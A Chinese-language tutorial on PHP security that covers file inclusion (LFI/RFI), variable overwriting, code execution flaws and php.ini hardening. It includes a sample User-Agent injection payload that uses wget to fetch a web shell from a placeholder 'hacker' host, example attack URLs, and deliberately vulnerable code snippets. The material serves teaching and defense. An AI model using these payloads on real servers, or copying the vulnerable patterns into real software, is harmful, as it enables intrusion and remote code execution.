时至今日,PHP是一种非常流行的web开发语言,但PHP语言的安全问题也很多,而且PHP语言的安全问题有其自身语言的一些特点。
文件包含漏洞
在互联网的安全历史中,PHP的文件包含漏洞已经臭名昭著了,因为在各种各样的PHP应用中挖出的文件包含漏洞数不胜数,且后果都很严重。
代码注入攻击的原理是注入一段用户能控制的脚本或代码,并让服务器端执行。代码注入的典型代表就是文件包含(file inclusion)。文件包含可能会出现在JSP、PHP、ASP等语言中,常见的导致文件包含的函数如下:
PHP: include(),include_once(),require(),require_once(),fopen(),readfile(),...;
JSP/Servlet: ava.io.File(),java.io.FileReader(),...
ASP: include file(),include virthal(),...
文件包含是PHP的一种常见用法:主要有四个函数:
include()
require()
include_once()
require_once()
当用这四个函数包含一个新的文件时,该文件将作为PHP代码执行,PHP内核并不会在意该被包含的文件是什么类型。所以如果被包含的是txt文件、图片文件、远程URL,也都将作为PHP代码执行。这一特性,在实施攻击时将非常有作用。
成功利用文件包含漏洞,需要满足两个条件:
- 1.include()等函数通过动态变量的方式引入需要包含的文件;
- 2.用户能够控制该动态变量。
本地文件包含
能够打开并包含本地文件的漏洞,被称为贝本地件包含漏洞(local file inclusion,简称LFI)
关键词:
- 字符串截断:PHP0字节(\x00作为字符串结束符;
- 操作系统对目录最大长度限制,超过最大长度之后的字符将被抛弃(Windows256字节、Linux4096字节)
- 目录遍历:诸如使用了
../../../
这样的方式来返回到上层目录中的方式,再利用时可以以编码的方式绕过安全检测; - open_basedir:其作用是限制在某个特定目录下PHP能打开的文件,需要注意的是open_basedir的值是目录前缀,列:
open_basedir=/home/app/aaa
限制目录为/home/app
(Windows下多个目录用分号隔开,Linux下用冒号隔开)。
远程文件包含
如果PHP的配置选项allow_url_include为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(remote file inclusion,简称RFI)
本地文件包含的利用技巧
- 包含用户上传的文件;
- 包含data://或php://input等伪协议;
伪协议如php://input、data://等需要服务器支持,同时要求allow_url_include设置为ON。 - 包含Session文件;
包含Session文件的条件需要攻击者能控制部分session文件内容。 - 包含日志文件,比如web server的access log;
包含日志文件是一种比较通用的技巧。因为服务器一般都会往web server的access_log里记录客户端的请求消息,在error_log中记录出错的请求。因此攻击者可以间接的将PHP代码写入到日志文件中,在文件包含时,只需要包含日志文件即可。(日至文件每天更新,在凌晨时完成,能够提高效率) - 包含/proc/self/environ文件
包含/proc/self/environ是一种更为通用的方法,他不需要猜测被包含文件的路径,同时用户能控制他的内容,可以看到web进程运行时的环境变量,其中很多都是用户可控的,最常用的方法是在User_Agent中注入PHP代码,比如:
<?php system('wget http://hacker/shells/php.txt -O shell.php');?>
以上这些方法,都要求PHP能够包含这些文件,而这些文件往往处于web目录之外,如果PHP配置了open_basedir,则很可能使得攻击无效。
- 包含上传的临时文件(RFC1867)。
但是PHP创建的上传临时文件,往往处于PHP允许访问的目录范围内。包含这个临时文件的方法,其理论意义大于实际意义。
PHP会为上传文件创建临时文件,其目录在php.ini的upload_tmp_dir中定义。但该值默认为空,此时在Linux系统下会使用/tmp目录,在Windows下会使用C:\windows\tmp目录。该临时文件的文件名是随机的,攻击者必须准确的猜测出该文件名才能成功利用漏洞。(可以暴力破解,Windows下仅有65535种不同的文件名) - 包含其他应用创建的文件,比如数据库文件、缓存文件、应用日志等。
变量覆盖漏洞
全局变量覆盖
变量如果未被初始化,且能被用户所控制,那么很可能会导致安全问题,在PHP中,这种情况在register_globals为ON时尤为严重。register_globals为ON时,变量来源可能是各个不同的方向,比如页面的表单、cookie等,当用户能够控制变量来源是,无论变量有没有被初始化,都将造成一些安全隐患。
extract()变量覆盖
extract()函数能将变量从数组导入当前的符号表,其函数定义如下:
int extract(array $var_array [, int $extract_type [, string $prefix]])
其中第二个参数指定函数将变量导入符号表时的行为,最常见的两个值是“EXTR_OVERWRITE”和“EXTR_SKIP”。当值为“EXTR_OVERWRITE”时,再将值导入符号表的过程中,如果变量名发生冲突,则覆盖已有变量;当值为“EXTR_SKIP”则表示跳不过覆盖。若第二个参数未指定,则默认为“EXTR_OVERWRITE”。
一种较为安全的做法是确定register_globals=OFF后,在调用extract()时使用EXTR_SKIP保证已有变量不被覆盖。(extract()的来源不能被用户控制)
在PHP中是由php.ini中的variables_order所定义的顺序来获取变量的。
遍历初始化变量
常见的一些以遍历的方式释放变量的代码,可能会导致变量覆盖。在代码审计时需要注意类似“$$k”的变量赋值方式有可能覆盖已有变量,从而导致一些不可控制的结果。
import_request_variables变量覆盖
bool import_request_variables(string $type [, string $prefix])
import_request_variables()将GET、POST、Cookie中的变量导入到全局,使用这个函数只需要简单的指定类型即可。
parse_str()变量覆盖
  void parse_str(string $str [,array &$arr])
parse_str()函数往往被用于解析URL的querystring,但是当参数值能被用户控制时,很可能导致变量覆盖。如果指定了parse_str()的第二个参数,则会将query string中的变量解析后存入该数组变量中。因此在使用parse_str()时,应尽量指定第二个参数。与parse_str()相似的函数还有mb_parse_str()。
安全建议:
1.确保register_globals=OFF。若不能定义php.ini,则在代码中控制
2.熟悉可能造成变量覆盖的函数和方法,检查用户是否能控制变量的来源。
3.尽可能的初始化变量。
代码执行漏洞
PHP代码执行的两个关键条件:
- 第一是用户能够控制的函数输入;
- 第二是存在可以执行代码的危险函数。
”危险函数“执行代码
文件包含漏洞是可以引起代码执行的。但在PHP中,能够执行代码的方式远不止文件包含漏洞一种,比如危险函数popen()、system()、passthru()、exec()等都可以执行系统命令。此外,eval()函数也可执行PHP代码。还有一些比较特殊的情况,比如允许用户上传PHP代码,或者是应用写入到服务器的文件内容和文件类型可以由用户控制,都可能导致代码执行。
挖掘漏洞的过程,通常需要先找到危险函数,然后回溯函数的调用过程,最终看在整个调用过程中用户是否有可能控制输入。
”文件写入“执行代码
在PHP中对文件的操作一定要谨慎,如果文件操作的内容用户可以控制,则也极容易成为漏洞。
其他执行代码方式
直接执行代码的函数
PHP中有不少可以直接执行代码的函数,比如:eval()、assert()、system()、exec()0、shell_exec()、passthru()、escapeshellcmd()、pcntl_exec()等。一般来说最好在PHP中禁用这些函数,在审计代码时则可以检查代码中是否存在这些函数,然后回溯危险函数的调用过程,看用户是否可以控制输入。
文件包含
文件包含漏洞也是代码注入的一种,需要高度关注能够包含文件的函数:include(),include_once(),require(),require_once()。
本地文件写入
常见的能够往本地文件里写入内容的函数有file_put_contents(),fwrite(),fputs()等。写入文件的功能可以和文件包含、危险函数、执行等漏洞结合,最终使得原本用户无法控制的输入变成可控。在代码审计时要注意这种”组合类“漏洞。
preg_replace()代码执行
preg_replace()的第一个参数如果存在/e模式修饰符,则允许代码执行。当第一个参数中没有没有/e模式修饰符时,也是有可能执行代码的,这要求在第一个参数中包含变量,并且用户可控制,有可能通过注入/e%00的方式截断文本,注入/e。
<?php
$var='<tag>phpinfo()</tag>';
preg_replace("/<tag>(.*?)<\/tag>/e",'addslashes(\\1)',$var);
?>
动态函数执行
用户自定义的动态函数可以导致代码执行。需要注意如下情况:
<?php
$dyn_func = $_GET['dyn_func'];
$argument = $_GET['argument'];
$dyn_func($argument);
?>
这种写法近似于后门,将直接导致代码执行,比如:
http://www.example.com/index.php?dyn_func=system&argument=uname
Curly Syntax
PHP的Curly Syntax也能导致代码执行,他将执行花括号间的代码,并将结果替换回去,如:
<?php
$var = "I Love You ${'ls'}";
?>
ls命令将列出本地目录的文件
回调函数执行代码
很多函数都可以执行回调函数,当回调函数用户可控时,将导致代码执行。
<?php
$evil_callback = $_GET['callback'];
$some_array = array(0,1,2,3);
$new_array = array_map($evil_callback,$some_array);
?>
攻击payload如下:
http://www.example.com/index.php?callback=phpinfo
unserialize()导致代码执行
unserialize()代码执行有两个条件:
- unserialize()的参数用户可以控制,这样可以构造出需要反序列化的数据结构;
- 存在_destruct()函数或者_wakeup()函数。这两个函数实现的逻辑决定了能执行什么样的代码。
定制安全的PHP环境
推荐php.ini中一些安全参数的配置:
- register_globals
当register_globals=ON时,PHP不知道变量从何而来,也容易出现一些变量覆盖的问题。因此从最佳实践的角度,强烈建议设置register_globals=OFF,改设置在最新版本的PHP中默认设置。 - open_basedir
open_basedir可以限制PHP只能操作指定目录下的文件。这在对抗文件包含、目录遍历等攻击时非常有用。open_basedir = /home/web/1/
- allow_url_include
为了对抗远程文件包含,关闭此选项,一般PHP应用不会用到此选项,而且推荐关闭allow_url_fopen.allow_url_include = Off allow_url_fopen = Off
- display_errors
错误回显,它可以暴露出非常多的敏感信息,为攻击者下一步攻击提供便利。推荐关闭display_errors = Off
- log_errors
在正常环境下使用,把错误信息记录在日志里,正好可以关闭错误回显:log_errors = On
- magic_quotes_gpc
推荐关闭,他并不值得依赖,已知已经有若干种方法可以绕过它,甚至由于他的存在反而衍生出了一些新的安全问题。XSS、SQL注入等漏洞,都应该由应用在正确的地方解决,同时关闭它还能提高性能。magic_quotes_gpc = Off
- cgi.fix_pathinfo
若PHP以CGI的方式安装,则需要关闭此项,以避免出现文件解析问题cgi.fix_pathinfo = 0
- session.cookie_httponly
开启httponlysession.cookie_httponly = 1
- session.cookie_secure
若是全站HTTPS则请开启此项。session.cookie_secure = 1
- safe_mode && disable_functions
PHP的安全模式是否被开启一直有争议,因为它可以被绕过,disable_functions函数能够在PHP中禁用一些函数。共享环境中(比如:APP Engine)则建议开启safe_mode,并和disable_functions函数配合使用;单独的应用环境,则可以考虑关闭safe_mode,利用disable_functions控制运行环境安全。
小结
PHP是一门被广泛使用的web开发预言,它的语法和使用方式非常的灵活,这也导致了PHP代码安全评估的难度相对较高,PHP的安全问题相对较多。